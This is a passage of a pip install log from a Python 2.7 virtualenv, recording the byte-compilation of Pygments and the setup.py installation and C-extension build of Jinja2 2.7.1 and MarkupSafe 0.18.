/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_phpbuiltins.py to _phpbuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_scilab_builtins.py to _scilab_builtins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_postgres_builtins.py to _postgres_builtins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/foxpro.py to foxpro.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/math.py to math.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/other.py to other.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/dotnet.py to dotnet.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_lassobuiltins.py to _lassobuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/dalvik.py to dalvik.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/agile.py to agile.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/functional.py to functional.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/parsers.py to parsers.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_mapping.py to _mapping.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_stan_builtins.py to _stan_builtins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/style.py to style.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexer.py to lexer.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/console.py to console.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/plugin.py to plugin.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/cmdline.py to cmdline.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/token.py to token.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/unistring.py to unistring.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/rtf.py to rtf.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/terminal256.py to terminal256.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/latex.py to latex.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/html.py to html.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/bbcode.py to bbcode.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/img.py to img.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/other.py to other.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/svg.py to svg.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/terminal.py to terminal.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/_mapping.py to _mapping.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/rrt.py to rrt.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/vim.py to vim.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/vs.py to vs.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/emacs.py to emacs.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/fruity.py to fruity.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/perldoc.py to perldoc.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/pastie.py to pastie.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/bw.py to bw.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/manni.py to manni.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/murphy.py to murphy.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/friendly.py to friendly.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/trac.py to trac.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/default.py to default.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/autumn.py to autumn.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/monokai.py to monokai.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/colorful.py to colorful.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/native.py to native.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/tango.py to tango.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/borland.py to borland.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filters/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/util.py to util.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatter.py to formatter.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filter.py to filter.pyc - - running install_egg_info - - running egg_info - - writing Pygments.egg-info/PKG-INFO - - writing top-level names to Pygments.egg-info/top_level.txt - - writing dependency_links to Pygments.egg-info/dependency_links.txt - - writing entry points to Pygments.egg-info/entry_points.txt - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'Pygments.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - writing manifest file 'Pygments.egg-info/SOURCES.txt' - - Copying Pygments.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/Pygments-1.6-py2.7.egg-info - - running install_scripts - - Installing pygmentize script to /home/isis/.virtualenvs/python-gnupg/bin - - writing list of installed files to '/tmp/pip-8iPICV-record/install-record.txt' - - Running setup.py install for Jinja2 - - Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/Jinja2/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-Xo3vHh-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 - - running install - - running build - - running build_py - - creating build - - creating build/lib.linux-x86_64-2.7 - - creating build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/compiler.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/defaults.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/sandbox.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/utils.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/nodes.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/lexer.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/ext.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/exceptions.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/environment.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/constants.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/_compat.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/debug.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/visitor.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/bccache.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/optimizer.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/filters.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/__init__.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/_stringdefs.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/runtime.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/loaders.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/tests.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/parser.py -> build/lib.linux-x86_64-2.7/jinja2 - - copying jinja2/meta.py -> build/lib.linux-x86_64-2.7/jinja2 - - creating build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/regression.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/utils.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/loader.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/api.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/ext.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/doctests.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/debug.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/core_tags.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/filters.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/__init__.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/security.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/imports.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/bytecode_cache.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/lexnparse.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/tests.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - copying jinja2/testsuite/inheritance.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite - - creating build/lib.linux-x86_64-2.7/jinja2/testsuite/res - - copying jinja2/testsuite/res/__init__.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res - - running egg_info - - writing requirements to Jinja2.egg-info/requires.txt - - writing Jinja2.egg-info/PKG-INFO - - writing top-level names to Jinja2.egg-info/top_level.txt - - writing dependency_links to Jinja2.egg-info/dependency_links.txt - - writing entry points to Jinja2.egg-info/entry_points.txt - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'Jinja2.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - warning: no files found matching '*' under directory 'custom_fixers' - - warning: no previously-included files matching '*' found under directory 'docs/_build' - - warning: no previously-included files matching '*.pyc' found under directory 'jinja2' - - warning: no previously-included files matching '*.pyc' found under directory 'docs' - - warning: no previously-included files matching '*.pyo' found under directory 'jinja2' - - warning: no previously-included files matching '*.pyo' found under directory 'docs' - - writing manifest file 'Jinja2.egg-info/SOURCES.txt' - - creating build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates - - copying jinja2/testsuite/res/templates/broken.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates - - copying jinja2/testsuite/res/templates/syntaxerror.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates - - copying jinja2/testsuite/res/templates/test.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates - - creating build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/foo - - copying jinja2/testsuite/res/templates/foo/test.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/foo - - running install_lib - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/compiler.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/defaults.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/sandbox.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/utils.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/lexer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/ext.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/exceptions.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/environment.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/constants.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/_compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/debug.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/visitor.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/bccache.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/optimizer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/filters.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/_stringdefs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/runtime.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/loaders.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates/foo - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/foo/test.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates/foo - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/broken.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/syntaxerror.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/test.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/regression.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/utils.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/loader.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/api.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/ext.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/doctests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/debug.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/core_tags.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/filters.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/security.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/imports.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/bytecode_cache.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/lexnparse.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/tests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/testsuite/inheritance.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite - - copying build/lib.linux-x86_64-2.7/jinja2/tests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/parser.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - copying build/lib.linux-x86_64-2.7/jinja2/meta.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/compiler.py to compiler.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/defaults.py to defaults.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/sandbox.py to sandbox.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/utils.py to utils.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/nodes.py to nodes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/lexer.py to lexer.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/ext.py to ext.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/exceptions.py to exceptions.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/environment.py to environment.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/constants.py to constants.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/_compat.py to _compat.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/debug.py to debug.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/visitor.py to visitor.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/bccache.py to bccache.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/optimizer.py to optimizer.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/filters.py to filters.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/_stringdefs.py to _stringdefs.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/runtime.py to runtime.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/loaders.py to loaders.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/regression.py to regression.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/utils.py to utils.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/loader.py to loader.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/api.py to api.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/ext.py to ext.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/doctests.py to doctests.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/debug.py to debug.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/core_tags.py to core_tags.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/filters.py to filters.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/security.py to security.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/imports.py to imports.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/bytecode_cache.py to bytecode_cache.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/lexnparse.py to lexnparse.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/tests.py to tests.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/inheritance.py to inheritance.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/tests.py to tests.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/parser.py to parser.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/meta.py to meta.pyc - - running install_egg_info - - Copying Jinja2.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/Jinja2-2.7.1-py2.7.egg-info - - running install_scripts - - writing list of installed files to '/tmp/pip-Xo3vHh-record/install-record.txt' - - Running setup.py install for markupsafe - - Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/markupsafe/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-tWScRd-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 - - running install - - running build - - running build_py - - creating build - - creating build/lib.linux-x86_64-2.7 - - creating build/lib.linux-x86_64-2.7/markupsafe - - copying markupsafe/_constants.py -> build/lib.linux-x86_64-2.7/markupsafe - - copying markupsafe/_native.py -> build/lib.linux-x86_64-2.7/markupsafe - - copying markupsafe/_compat.py -> build/lib.linux-x86_64-2.7/markupsafe - - copying markupsafe/__init__.py -> build/lib.linux-x86_64-2.7/markupsafe - - copying markupsafe/tests.py -> build/lib.linux-x86_64-2.7/markupsafe - - running egg_info - - writing MarkupSafe.egg-info/PKG-INFO - - writing top-level names to MarkupSafe.egg-info/top_level.txt - - writing dependency_links to MarkupSafe.egg-info/dependency_links.txt - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'MarkupSafe.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - writing manifest file 'MarkupSafe.egg-info/SOURCES.txt' - - copying markupsafe/_speedups.c -> build/lib.linux-x86_64-2.7/markupsafe - - running build_ext - - building 'markupsafe._speedups' extension - - creating build/temp.linux-x86_64-2.7 - - creating build/temp.linux-x86_64-2.7/markupsafe - - x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/include/python2.7 -c markupsafe/_speedups.c -o build/temp.linux-x86_64-2.7/markupsafe/_speedups.o - - x86_64-linux-gnu-gcc -pthread -shared -Wl,-O1 -Wl,-Bsymbolic-functions -Wl,-z,relro -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/markupsafe/_speedups.o -o build/lib.linux-x86_64-2.7/markupsafe/_speedups.so - - running install_lib - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/_constants.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/_native.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/_speedups.c -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/_speedups.so -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/_compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - copying build/lib.linux-x86_64-2.7/markupsafe/tests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/_constants.py to _constants.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/_native.py to _native.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/_compat.py to _compat.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/tests.py to tests.pyc - - running install_egg_info - - Copying MarkupSafe.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/MarkupSafe-0.18-py2.7.egg-info - - running install_scripts - - writing list of installed files to 